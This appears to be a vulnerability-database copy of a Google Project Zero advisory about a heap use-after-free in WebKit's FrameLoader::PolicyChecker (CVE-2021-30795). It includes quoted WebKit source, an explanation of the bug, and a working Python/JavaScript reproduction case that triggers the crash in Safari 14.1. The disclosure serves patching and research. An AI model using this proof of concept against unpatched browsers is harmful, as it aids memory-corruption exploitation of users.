WebKit WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free Vulnerability

🗓️ 19 Aug 2021 00:00:00Reported by GlazvunovType

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WebKit FrameLoader PolicyChecker Vulnerabilit

Reporter	Title	Published	Views	Family All 100
ATTACKERKB	CVE-2021-30795	8 Sep 202114:15	–	attackerkb
Tenable Nessus	Amazon Linux 2 : webkitgtk4 (ALAS-2023-2088)	13 Jun 202300:00	–	nessus
Tenable Nessus	AlmaLinux 8 : GNOME (ALSA-2021:4381)	9 Feb 202200:00	–	nessus
Tenable Nessus	Apple iOS < 14.7 Multiple Vulnerabilities (HT212601)	23 Jul 202100:00	–	nessus
Tenable Nessus	CentOS 8 : GNOME (CESA-2021:4381)	11 Nov 202100:00	–	nessus
Tenable Nessus	Debian DSA-4945-1 : webkit2gtk - security update	29 Jul 202100:00	–	nessus
Tenable Nessus	GLSA-202202-01 : WebkitGTK+: Multiple vulnerabilities	1 Feb 202200:00	–	nessus
Tenable Nessus	macOS 11.x < 11.5 Multiple Vulnerabilities (HT212602)	23 Jul 202100:00	–	nessus
Tenable Nessus	MiracleLinux 8 : GNOME (AXSA:2022-2953:01)	20 Jan 202600:00	–	nessus
Tenable Nessus	NewStart CGSL MAIN 6.02 : webkit2gtk3 Multiple Vulnerabilities (NS-SA-2024-0053)	10 Sep 202400:00	–	nessus

WebKit: heap-use-after-free in WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy

VULNERABILITY DETAILS
PolicyChecker.cpp:
```
#define IS_ALLOWED (m_frame.page() ? m_frame.page()->sessionID().isAlwaysOnLoggingAllowed() : false)
#define PAGE_ID (m_frame.loader().pageID().valueOr(PageIdentifier()).toUInt64())
#define FRAME_ID (m_frame.loader().frameID().valueOr(FrameIdentifier()).toUInt64())
#define RELEASE_LOG_IF_ALLOWED(fmt, ...) RELEASE_LOG_IF(IS_ALLOWED, Loading, \"%p - [pageID=%\" PRIu64 \", frameID=%\" PRIu64 \"] PolicyChecker::\" fmt, this, PAGE_ID, FRAME_ID, ##__VA_ARGS__)
[...]
void FrameLoader::PolicyChecker::checkNavigationPolicy(ResourceRequest&& request, const ResourceResponse& redirectResponse, DocumentLoader* loader, RefPtr<FormState>&& formState, NavigationPolicyDecisionFunction&& function, PolicyDecisionMode policyDecisionMode)
{
[...]
    if (!isAllowedByContentSecurityPolicy(request.url(), m_frame.ownerElement(), !redirectResponse.isNull())) {
        if (m_frame.ownerElement()) {
            // Fire a load event (even though we were blocked by CSP) as timing attacks would otherwise
            // reveal that the frame was blocked. This way, it looks like any other cross-origin page load.
            m_frame.ownerElement()->dispatchEvent(Event::create(eventNames().loadEvent, Event::CanBubble::No, Event::IsCancelable::No));
        }
        RELEASE_LOG_IF_ALLOWED(\"checkNavigationPolicy: ignoring because disallowed by content security policy\");
        function(WTFMove(request), { }, NavigationPolicyDecision::IgnoreLoad);
        return;
    }
```

FrameLoader.cpp:
```
[...]
Optional<PageIdentifier> FrameLoader::pageID() const
{
    return client().pageID();
}
```

FrameLoaderClient.h:
```
class WEBCORE_EXPORT FrameLoaderClient {
[...]
    virtual Optional<PageIdentifier> pageID() const = 0;
    virtual Optional<FrameIdentifier> frameID() const = 0;
}
```


`PolicyChecker` is owned by `FrameLoader`, which is in turn owned by the reference-counted class `Frame`. When a load is being blocked by CSP, `PolicyChecker` fires an event in `checkNavigationPolicy()`. A malicious JS event handler can drop all references to the frame and cause the associated `PolicyChecker` to be destroyed. When the execution returns to `checkNavigationPolicy()`, the invocation of `RELEASE_LOG_IF_ALLOWED` will access freed memory, including the vtable calls `pageID()` and `frameID()` on an invalid `FrameLoaderClient` pointer.


REPRODUCTION CASE
Visit http://localhost:8000/
```
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

html_source = b'''
<body>
<script>
frame = document.createElement('iframe');
frame.onload = () => frame.remove();
frame.src = '/redirect';
document.body.appendChild(frame);
</script>
</body>
'''

class Handler(BaseHTTPRequestHandler):
  def do_GET(self):
    if self.path == '/redirect':
      self.send_response(302)
      self.send_header('Location', 'http://example.com/')
      self.end_headers()
    else:
      self.send_response(200)
      self.send_header('Content-Security-Policy', 'frame-src localhost:8000')
      self.end_headers()
      self.wfile.write(html_source)

HTTPServer((\"127.0.0.1\", 8000), Handler).serve_forever()
```


VERSION
WebKit r277716
Safari 14.1 (16611.1.21.161.6)


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2021-08-24.


Related CVE Numbers: CVE-2021-30795.

19 Aug 2021 00:00Current

0.1Low risk

Vulners AI Score0.1

CVSS 29.3

CVSS 3.18.8

EPSS0.02095